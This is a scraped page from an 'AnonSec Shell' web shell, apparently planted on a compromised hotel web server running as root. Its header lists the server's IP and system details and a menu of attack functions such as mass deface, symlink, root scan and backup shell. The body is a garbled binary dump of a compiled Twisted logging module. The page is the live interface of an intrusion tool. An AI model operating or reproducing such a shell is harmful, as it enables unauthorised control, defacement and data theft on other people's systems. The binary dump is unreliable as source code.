AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/logger/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/logger/__pycache__/_json.cpython-310.pyc
o

�b� �
@s�dZddlmZmZddlmZmZmZmZm	Z	m
Z
mZmZddl
mZddlmZddlmZddlmZdd	lmZdd
lmZddlmZddlmZe�ZeeefZd
edefdd�Z dedefdd�Z!dd�ed�dd�dd�fdd�ed�e e!fgZ"dd�e"D�Z#dede$fdd�Z%d e$defd!d"�Z&d#edefd$d%�Z'd&edefd'd(�Z(	)d4d*eed+edefd,d-�Z)	.	/d5d0eed+e
ed1e*de	efd2d3�Z+d.S)6zA
Tools for saving and loading log events in a structured format.
�)�dumps�loads)�IO�Any�AnyStr�Dict�Iterable�Optional�Union�cast)�UUID)�
NamedConstant)�Failure���FileLogObserver)�flattenEvent)�LogEvent)�LogLevel)�Logger�failure�returncCs t|��t|jj|jjd�d�S)z�
    Convert a failure to a JSON-serializable data structure.

    @param failure: A failure to serialize.

    @return: a mapping of strings to ... stuff, mostly reminiscent of
        L{Failure.__getstate__}
    )�
__module__�__name__)�type)�dict�__getstate__rrr)r�r�6/usr/lib/python3/dist-packages/twisted/logger/_json.py�
failureAsJSONs	��r�failureDictcCs0t�t�}|d}t|dd|�|d<||_|S)z�
    Load a L{Failure} from a dictionary deserialized from JSON.

    @param failureDict: a JSON-deserialized object like one previously returned
        by L{failureAsJSON}.

    @return: L{Failure}
    rrr)r�__new__r�__dict__)r �f�typeInforrr�failureFromJSON.s

	r%cCst|t�o
tt|jd�|uS�N)�
isinstancer
�getattrr�name��levelrrr�<lambda>@s
r,z$02E59486-F24D-46AD-8224-3ACDF2A5732AcCst|jd�S)N)r))rr)r*rrrr,EscCstt|dd�S)Nr))r(rr*rrrr,FscCs
t|t�Sr&)r'r)�orrrr,Is
z$E76887E2-20ED-49BF-A8F8-BA25CC586F2DcCsi|]	\}}}}||�qSrr)�.0�	predicate�uuid�saver�loaderrrr�
<dictcomp>Qsr3�aDictcCs d|vrtt|d�|�S|S)a#
    Dictionary-to-object-translation hook for certain value types used within
    the logging system.

    @see: the C{object_hook} parameter to L{json.load}

    @param aDict: A dictionary loaded from a JSON object.

    @return: C{aDict} itself, or the object represented by C{aDict}
    �__class_uuid__)�uuidToLoaderr)r4rrr�objectLoadHookTsr7�pythonObjectcCs>tD]\}}}}||�r||�}t|�|d<|SqddiS)a�
    Object-to-serializable hook for certain value types used within the logging
    system.

    @see: the C{default} parameter to L{json.dump}

    @param pythonObject: Any object.

    @return: If the object is one of the special types the logging system
        supports, a specially-formatted dictionary; otherwise, a marker
        dictionary indicating that it could not be serialized.
    r5�
unpersistableT)�	classInfo�str)r8r/r0r1r2�resultrrr�objectSaveHookds
�r=�eventcCs0dtdtttffdd�}t|�t||dd�S)a�
    Encode an event as JSON, flattening it if necessary to preserve as much
    structure as possible.

    Not all structure from the log event will be preserved when it is
    serialized.

    @param event: A log event dictionary.

    @return: A string of the serialized JSON; note that this will contain no
        newline characters, and may thus safely be stored in a line-delimited
        file.
    �unencodablercSst|t�r
|�d�St|�S)z�
        Serialize an object not otherwise serializable by L{dumps}.

        @param unencodable: An unencodable object.

        @return: C{unencodable}, serialized
        �charmap)r'�bytes�decoder=)r?rrr�default�s

zeventAsJSON.<locals>.defaultT)rC�skipkeys)�objectr
�JSONDictr;rr)r>rCrrr�eventAsJSONysrG�	eventTextcCsttt|td��S)z�
    Decode a log event from JSON.

    @param eventText: The output of a previous call to L{eventAsJSON}

    @return: A reconstructed version of the log event.
    )�object_hook)rrFrr7)rHrrr�
eventFromJSON�srJ��outFile�recordSeparatorcst|�fdd��S)a�
    Create a L{FileLogObserver} that emits JSON-serialized events to a
    specified (writable) file-like object.

    Events are written in the following form::

        RS + JSON + NL

    C{JSON} is the serialized event, which is JSON text.  C{NL} is a newline
    (C{"\n"}).  C{RS} is a record separator.  By default, this is a single
    RS character (C{"\x1e"}), which makes the default output conform to the
    IETF draft document "draft-ietf-json-text-sequence-13".

    @param outFile: A file-like object.  Ideally one should be passed which
        accepts L{str} data.  Otherwise, UTF-8 L{bytes} will be used.
    @param recordSeparator: The record separator to use.

    @return: A file log observer.
    cs��t|��d�S)N�
)rG)r>�rMrrr,�sz%jsonFileLogObserver.<locals>.<lambda>r)rLrMrrOr�jsonFileLogObserver�s�rPN��inFile�
bufferSizec#s�dtdtfdd�}dtdttfdd��|dur*||�d	��}|d
kr'|}n	d}n||�}d}|dkr9d}�}n
dtdttf�fd
d�}t|�}	|�|�}|set|�dkrc||�}	|	durc|	VdS|||�7}|�|�}
|
dd�D]}t|�dkr�||�}	|	dur�|	Vqv|
d}qK)aM
    Load events from a file previously saved with L{jsonFileLogObserver}.
    Event records that are truncated or otherwise unreadable are ignored.

    @param inFile: A (readable) file-like object.  Data read from C{inFile}
        should be L{str} or UTF-8 L{bytes}.
    @param recordSeparator: The expected record separator.
        If L{None}, attempt to automatically detect the record separator from
        one of C{"\x1e"} or C{""}.
    @param bufferSize: The size of the read buffer used while reading from
        C{inFile}.

    @return: Log events as read from C{inFile}.
    �srcSst|t�r|S|�d�S)N�utf-8)r'rA�encode)rTrrr�asBytes�s

z&eventsFromJSONLogFile.<locals>.asBytes�recordcSslz	t|��d�}Wntytjdt|�d�YdSwzt|�WSty5tjdt|�d�YdSw)NrUz2Unable to decode UTF-8 for JSON record: {record!r}�rXz&Unable to read JSON record: {record!r})rArB�UnicodeDecodeError�log�errorrJ�
ValueError)rX�textrrr�eventFromBytearray�s��
�z1eventsFromJSONLogFile.<locals>.eventFromBytearrayNr���
cs.|dtd�kr�|�Stjdt|�d�dS)N���rNz0Unable to read truncated JSON record: {record!r}rY)�ordr[r\rArY�r_rr�eventFromRecord�s�z.eventsFromJSONLogFile.<locals>.eventFromRecordTrrc)rrA�	bytearrayr	r�read�len�split)rRrMrSrW�first�recordSeparatorBytesrf�buffer�newDatar>�recordsrXrrer�eventsFromJSONLogFile�sB�


��rp)rK)NrQ),�__doc__�jsonrr�typingrrrrrr	r
rr0r�
constantlyr
�twisted.python.failurer�_filer�_flattenr�_interfacesr�_levelsr�_loggerrr[r;rFrr%r:r6rEr7r=rGrJrP�intrprrrr�<module>sd(�
�����
������

Anon7 - 2022
AnonSec Team